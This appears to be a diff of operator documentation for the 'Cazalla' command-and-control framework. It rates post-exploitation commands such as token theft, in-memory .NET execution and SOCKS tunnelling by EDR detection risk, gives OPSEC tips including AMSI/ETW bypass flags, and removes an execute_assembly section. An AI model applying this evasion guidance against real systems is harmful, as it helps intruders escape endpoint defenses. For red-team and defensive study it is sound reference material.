| `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available | | `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available |
| `rm` (system files) | HIGH | Blocked for safety | Never delete system files | | `rm` (system files) | HIGH | Blocked for safety | Never delete system files |
| `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing | | `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing |
@@ -90,7 +89,7 @@ These commands have **moderate detection risk**:
| Command | Risk Level | Detection Likelihood | Notes | | Command | Risk Level | Detection Likelihood | Notes |
|---------|-----------|---------------------|-------| |---------|-----------|---------------------|-------|
| `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors | | `inline_execute` | MEDIUM | Memory allocation, API calls | In-process execution reduces some detection vectors |
| `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | Better OPSEC than `execute_assembly` (no process injection) | | `inline_execute_assembly` | MEDIUM | CLR loading, memory allocation | In-process execution (no process injection) |
| `download` | MEDIUM | File access logging | Large files may trigger DLP | | `download` | MEDIUM | File access logging | Large files may trigger DLP |
| `upload` | MEDIUM | File write detection | Suspicious extensions monitored | | `upload` | MEDIUM | File write detection | Suspicious extensions monitored |
| `socks` | MEDIUM | Network traffic analysis | High bandwidth usage | | `socks` | MEDIUM | Network traffic analysis | High bandwidth usage |
@@ -118,7 +117,6 @@ These commands have **low detection risk**:
**Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor: **Endpoint Detection and Response (EDR)** and **Extended Detection and Response (XDR)** solutions monitor:
- **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored) - **Process Creation**: `shell` command spawns `cmd.exe` (highly monitored)
- **Process Injection**: `execute_assembly` uses Donut shellcode injection (heavily monitored)
- **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned) - **Memory Allocation**: `inline_execute` and `inline_execute_assembly` allocate executable memory (may be scanned)
- **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections - **CLR Loading**: Loading .NET assemblies into memory may trigger EDR detections
- **Token Manipulation**: `steal_token` and `make_token` generate authentication events - **Token Manipulation**: `steal_token` and `make_token` generate authentication events
@@ -128,7 +126,7 @@ These commands have **low detection risk**:
**Mitigation Strategies:** **Mitigation Strategies:**
- Use built-in Cazalla commands instead of `shell` when possible - Use built-in Cazalla commands instead of `shell` when possible
- Prefer `inline_execute_assembly` over `execute_assembly` for better OPSEC (in-process vs process injection) - Use `inline_execute_assembly` for .NET assembly execution (in-process, no process injection)
- Use `inline_execute` for BOFs when possible (no process creation) - Use `inline_execute` for BOFs when possible (no process creation)
- Prefer `make_token` over `steal_token` when credentials are available - Prefer `make_token` over `steal_token` when credentials are available
- Avoid accessing LSASS or other critical system processes - Avoid accessing LSASS or other critical system processes
@@ -339,12 +337,7 @@ Built-in Cazalla commands:
#### `inline_execute_assembly` #### `inline_execute_assembly`
- **Risk**: MEDIUM - **Risk**: MEDIUM
- **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections - **Detection**: CLR loading, memory allocation, AMSI/ETW bypass attempts may trigger behavioral detections
- **Best Practice**: Better OPSEC than `execute_assembly` (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected. - **Best Practice**: In-process execution (no process injection). Use `--amsi` and `--etw` flags when needed, but be aware they may be detected.
#### `execute_assembly`
- **Risk**: HIGH
- **Detection**: Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), Donut shellcode patterns, memory scanning
- **Best Practice**: Use only when necessary. Prefer `inline_execute_assembly` for better OPSEC. High detection risk due to process injection techniques.
#### `rev2self` #### `rev2self`
- **Risk**: LOW - **Risk**: LOW